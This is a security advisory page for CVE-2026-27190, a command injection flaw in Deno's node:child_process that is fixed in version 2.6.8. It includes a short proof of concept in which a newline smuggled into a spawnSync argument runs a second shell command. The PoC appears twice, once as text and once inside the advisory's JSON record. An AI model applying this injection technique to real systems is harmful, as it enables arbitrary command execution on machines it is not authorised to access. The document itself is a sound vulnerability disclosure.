GHSA-HMH4-3XVX-Q5HR

Vulnerability from github – Published: 2026-02-19 20:31 – Updated: 2026-02-20 22:20
VLAI?
Summary
Deno has a Command Injection via Incomplete shell metacharacter blocklist in node:child_process
Details

Summary

A command injection vulnerability exists in Deno's node:child_process implementation.

Reproduction

import { spawnSync } from "node:child_process";
import * as fs from "node:fs";

// Cleanup
try { fs.unlinkSync('/tmp/rce_proof'); } catch {}

// Create legitimate script
fs.writeFileSync('/tmp/legitimate.ts', 'console.log("normal");');

// Malicious input with newline injection
const maliciousInput = `/tmp/legitimate.ts\ntouch /tmp/rce_proof`;

// Vulnerable pattern
spawnSync(Deno.execPath(), ['run', '--allow-all', maliciousInput], {
  shell: true,
  encoding: 'utf-8'
});

// Verify
console.log('Exploit worked:', fs.existsSync('/tmp/rce_proof'));

Run: deno run --allow-all poc.mjs

The file /tmp/rce_proof is created, confirming arbitrary command execution.

Mitigation

All users need to update to the patched version (Deno v2.6.8).

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "deno"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.6.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27190"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-19T20:31:41Z",
    "nvd_published_at": "2026-02-20T21:19:28Z",
    "severity": "HIGH"
  },
  "details": "## Summary\nA command injection vulnerability exists in Deno\u0027s `node:child_process` implementation. \n\n## Reproduction\n```javascript\nimport { spawnSync } from \"node:child_process\";\nimport * as fs from \"node:fs\";\n\n// Cleanup\ntry { fs.unlinkSync(\u0027/tmp/rce_proof\u0027); } catch {}\n\n// Create legitimate script\nfs.writeFileSync(\u0027/tmp/legitimate.ts\u0027, \u0027console.log(\"normal\");\u0027);\n\n// Malicious input with newline injection\nconst maliciousInput = `/tmp/legitimate.ts\\ntouch /tmp/rce_proof`;\n\n// Vulnerable pattern\nspawnSync(Deno.execPath(), [\u0027run\u0027, \u0027--allow-all\u0027, maliciousInput], {\n  shell: true,\n  encoding: \u0027utf-8\u0027\n});\n\n// Verify\nconsole.log(\u0027Exploit worked:\u0027, fs.existsSync(\u0027/tmp/rce_proof\u0027));\n```\n\nRun: `deno run --allow-all poc.mjs`\n\nThe file `/tmp/rce_proof` is created, confirming arbitrary command execution.\n\n## Mitigation\n\nAll users need to update to the patched version (Deno v2.6.8).",
  "id": "GHSA-hmh4-3xvx-q5hr",
  "modified": "2026-02-20T22:20:03Z",
  "published": "2026-02-19T20:31:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/denoland/deno/security/advisories/GHSA-hmh4-3xvx-q5hr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27190"
    },
    {
      "type": "WEB",
      "url": "https://github.com/denoland/deno/commit/9132ad958c83a0d0b199de12b69b877f63edab4c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/denoland/deno"
    },
    {
      "type": "WEB",
      "url": "https://github.com/denoland/deno/releases/tag/v2.6.8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Deno has a Command Injection via Incomplete shell metacharacter blocklist in node:child_process"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…